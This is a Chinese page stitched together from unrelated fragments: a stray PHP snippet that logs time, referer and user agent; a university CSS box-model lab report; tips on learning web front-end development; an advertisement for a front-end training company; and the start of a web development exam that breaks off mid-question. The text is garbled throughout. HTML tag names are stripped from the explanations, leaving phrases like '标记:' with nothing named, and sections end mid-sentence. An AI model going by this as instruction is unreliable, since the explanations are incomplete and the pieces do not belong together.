$time=date('Y-m-d g:i:s'); //以“年-月-日时:分:秒”的格式显示时间$referer = $_SERVER['HTTP_REFERER'];//链接来源

$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

?>

可见前端的漏洞是无处不在的,我们还应该更多地了解好这些安全的机理才能在以后无论是编写网站、软件或者从事相关工作时有更好的安全意识和防范措施。

web前端开发技术实验报告 实验三

长春大学 20 15 —2016学年第二学期Web前端开发技术课程 实验报告 学院:计算机科学技术专业:软件工程 班级:软件15402

学号:041440210 姓名:王悦 任课教师:车娜 实验三 CSS网页布局 一、实验目的 1.掌握CSS盒子模型的概念,能够灵活运用盒子模型布局页面; 2.掌握盒子模型相关属性,能够使用它们熟练地控制网页元素; 3.理解块元素与行内元素的区别,能够对它们进行转换。 二、内容及要求 运用盒子模型的相关属性实现网页弹出框效果,满足如下要求: 1.网页弹出框由上面的标题和下面的宣传内容两部分组成; 2.标题通过h2定义; 3.在段落文本中内容部分由h3和p标记进行定义; 4.应用

标记、标记、边框属性、背景属性等设计页面结构效果。 三、实验原理 盒子模型:把HTML页面中的元素看作是一个矩形的盒子,也就是一个盛装内容的容器。每个矩形都由元素的内容、内边距(padding)、边框(border)和外边距(margin)组成。
标记:是一个区块容器标记,可以将网页分割为独立的、不同的部分,以实现网页的规划和布局。 边框属性:使用border-style、border-width、border-color等属性可以实现丰富的边框效果。 padding属性:设置内边距,即元素内容与边框之间的距离,也常常称为内填充。 margin属性:设置外边距,即元素边框与相邻元素之间的距离。 background-color:设置网页元素的背景颜色,默认值为transparent,即背景透明,这时子元素会显示其父元素的背景。 background-image属性:将图像作为网页元素的背景。 标记:行内元素。之间只能包含文本和各种行内标记,如加粗标记、倾斜标记等,中还可以嵌套多层

给同学们理顺一下学习Web前端开发思路

Web 的发展史 首先要明确,什么是html?html是前端的基础!Web前端开发是从网页制作演变而来的,名称上有很明显的时代特征。在互联网的演化进程中,网页制作是Web1.0时代产物,那时网站的主要内容是静态的,用户使用网站的行为也以浏览为主。2005年以后,互联网进入Web2.0时代,各种类似桌面软件的Web应用大量涌现,网站的前端由此发生了翻天覆地的变化。网页不再只是承载单一的文字和图片,各种富媒体让网页的内容更加生动,网页上软件化的交互形式为用户提供了更好的使用体验,这些都是基于前端技术实现的。说得直白点就是美工photoshop,交互设计,flash,js,html+css。<<龙城云购>>在学习Web前端中的一些建议和方法。 在CSS布局时需要注意的一个问题是很多同学缺乏对页面布局进行整体分析,不能够从宏观上对页面中盒子间的嵌套关系进行把握,就急于动手去做,导致页面中各元素间的关系很混乱,容易出现盒子在浮动时错位等情况。建议大家在布局时采用“自顶向下,逐步细化”的思想,先用几个盒子将页面从整体上划分,然后逐步在盒子中继续嵌套盒子。 “君子生非异也,善假于物也”,在学习的过程中还要多浏览一些优秀的网站,善于分析借鉴其设计思路和布局方法,见多方能识广,进而才可以融会贯通,取他人之长为我所用。 Web前端的学习误区入门快、见效快让我们在不知不觉中已经深深爱上了网页制作。此时,很多人会陷入一个误区,那就是既然借助

这么帅的IDE,通过鼠标点击菜单就可以快速方便地制作网页。<<龙城云购>> 那么我们为什么还要去学习HTML、CSS、JavaScrpt、jQuery等这些苦逼的代码呢?这不是舍简求繁吗?但是随着学习的深入,就会发现我们步入了一种窘境——过分的依赖IDE导致我们不清楚其实现的本质,知其然但不知其所以然。因此在页面效果出现问题时,我们便手足无措,更不用提如何进行页面优化以及完成一些更高级的应用了。其原因是显而易见的——聪明的IDE成全了我们的惰性,使我们忽略了华丽的网页背后最本质的内容——code。 web前端开发工程师做为互联网行业紧缺的职位之一,人才缺口巨大,每天还在不断的更新。

web前端培训学习心得

Web前端培训学习心得 目前web前端最火的莫过于html5了,HTML指的是超文本标记语言(Hyper Text Markup Language),标记语言是一套标记标签(markup tag),HTML使用标记标签来描述网页。HTML5区别于HTML的标准,基于全新的规则手册,提供了一些新的元素和属性。今天华清远见web前端培训的小编就为大家分享一下web前端培训学习心得。 一、了解HTML5前端开发技术 HTML指的是超文本标记语言(Hyper Text Markup Language),标记语言是一套标记标签(markup tag),HTML使用标记标签来描述网页。HTML5区别于HTML的标准,基于全新的规则手册,提供了一些新的元素和属性,在web技术发展的过程中成为新的里程碑。HTML5被推广用于Web平台游戏开发,及手机移动领域,国内,腾讯手机QQ浏览器、WEBQQ、QQLive,手机新浪,优酷视频等都在支持HTML5。从市场来看,无论是桌面应用还是移动应用,HTML5都是当下Web技术中最炙手可热的新宠,是创新的主旋律,在不久的时间里一定会大有作为。 二、课程能让你学到什么? 从前端开发的基础出发,学习使用HTML,CSS,JavaScript等一系列前端技术,实现动画特效。以开发实例展示为主导,循序渐进让学员

掌握HTML5技术的应用。强化学员基础,尤其是要针对JavaScpript 基础的强化从而掌握HTML5新功能API。构建开放的教学环境,鼓励相互的技术交流,让学员树立良好的持续学习态度,分享最新前端技术革新和理念。为学员在这一领域能有进一步的发展和造诣提供帮助和机遇。 三、胜任的岗位: 前端开发工程师,Web开发工程师,JS/AJAX工程师,人机交互设计师。 四:华清远见web前端培训具有以下优势 1.适合不同基础的学员 教育培训行业一直面临的难题是:“无法根据不同学习能力、不同学习水平的学员进行针对性的因材施教,导致不同学习水平、不同学习能力的学员在一个班级内混合上课,学生学习的效果无法实现最大化”。但是华清远见的web前端培训课程却恰恰解决了这一难题,即便你是零基础也能手把手教你入门; 2.满足企业需求 随着企业招聘职位的越来越细化,对岗位的技术要求越来越细,华清远见必须按照企业的需求为企业提供高水平的技术人才,满足企业的招聘需求。

web前端开发技术试卷三

总分100分考试时间:120分钟考试形式:闭卷、选择题(每题1分,共20 分) 1. HTMLI旨的是___________ (A)超链接的文本标记语言(B) 超文本标识语言 (C)家庭工具标记语言(D) 以上都不是 2. 下列能够实现美化页面的语言是。 (A) HTML (B) CSS (C) VFP (D) JavaScript 3. 以下标记中用于设置内部样式表的标记的是。 (A)